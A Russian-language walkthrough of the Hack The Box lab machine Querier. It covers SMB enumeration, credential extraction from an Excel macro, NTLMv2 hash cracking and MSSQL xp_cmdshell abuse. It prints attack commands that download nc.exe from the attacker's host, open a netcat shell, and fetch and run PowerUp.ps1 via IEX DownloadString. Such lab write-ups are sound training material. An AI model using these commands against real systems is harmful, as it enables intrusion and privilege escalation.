- PVSM.RU - https://www.pvsm.ru -
Привет! Из этой статьи вы узнаете о способе атаки на удаленный сервер, используя особенности MySQL, создания reverse shell для закрепления в системе и пример эксплуатации плохо сконфигурированной групповой политики в ОС Windows.
Под катом пойдет речь про свой опыт прохождения лабораторной машины Querier на портале hackthebox.
Для тех, кто не знает, что такое hackthebox — это портал, на котором вы можете проверить свои умения пентеста на практике, имеются CTF таски и собственно лабораторные машины.
Начнем разведку с запуска сканирования портов с помощью nmap.
nmap –sC –Pn –A 10.10.10.125
Перечислим найденные порты.
Воспользуемся утилитой smbclient для доступа к SMB ресурсам сервера.
smbclient –L //10.10.10.125
Пройдясь по всем ресурсам, находим в директории Reports файл “Currency Volume Report.xlsm”.
Если открыть этот файл стандартным Microsoft Excel, то он окажется на первый взгляд совершенно пустым.
Проанализируем файл, используя утилиту binwalk [1], которая поможет взглянуть на встроенные файлы xlsm- документа.
Из вывода binwalk обнаружили несколько интересных файлов, содержащихся в xlsm.
Используя флаг –e, распакуем его.
binwalk –e Currency Volume Report.xlsm
Теперь воспользуемся утилитой strings [2] для вывода печатных символов. Пробежавшись по файлам, находим интересные данные в vbaProject.bin. Похоже, что мы нашли учетные данные для mysql server’а.
Подытожим полученную информацию на текущий момент:
Так давайте попробуем подсоединиться к серверу, используя скрипт из модуля impacket [3].
python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Получаем доступ к MySQL.
Перечислим полезную для нас информацию, используя команды из статьи [4].
Выполнив SQLi, получаем хеш от пароля пользователя mssql-svc.
Чтобы получить пароль в явном виде, необходимо его сбрутить, используя любой удобный для вас инструмент.
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
Получаем пароль от mssql-svc.
Подключаемся к SQL с новыми кредитами учетными данными.
python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
Права этого пользователя позволяют нам выполнять xp_cmdshell [5]
Пробуем получить оболочку через netcat, для этого нам необходимо загрузить его на атакуемый сервер.
Переходим в директорию на нашей машине, где находится netcat и запускаем:
python –m SimpleHTTPServer
В оболочке mysql для загрузки netcat (nc.exe) на удаленный сервер, выполняем команду powershell, указав путь сохранения.
xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.x.x:8000/nc.exe" –
OutFile "C:Usersmssql-svcDesktopnc.exe" "
Запускаем netcat на прослушивание порта 4444.
xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"
Запускаем на своей стороне netcat, указав ip и порт, атакуемого сервера и получаем оболочку.
nc 10.10.10.125 4444
Запускаем скрипт от PowerShellMafia [6]для повышения привилегий.
powershell.exe IEX (New-Object Net.WebClient).DownloadString("http://10.10.x.x:8000/PowerUp.ps1"); Invoke-AllChecks
В результате выполнения скрипта получили учетные данные администратора.
Заходим на ресурсы smb с новыми учетными данными и полномочиями.
Забираем флаг root.txt. Победа!
Автор: Юрий
Источник [7]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/328751
Ссылки в тексте:
[1] binwalk: https://github.com/ReFirmLabs/binwalk
[2] strings : https://linux.die.net/man/1/strings
[3] impacket: https://github.com/SecureAuthCorp/impacket
[4] статьи: https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/
[5] xp_cmdshell: https://docs.microsoft.com/ru-ru/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017
[6] скрипт от PowerShellMafia : https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
[7] Источник: https://habr.com/ru/post/465687/?utm_source=habrahabr&utm_medium=rss&utm_campaign=465687
Нажмите здесь для печати.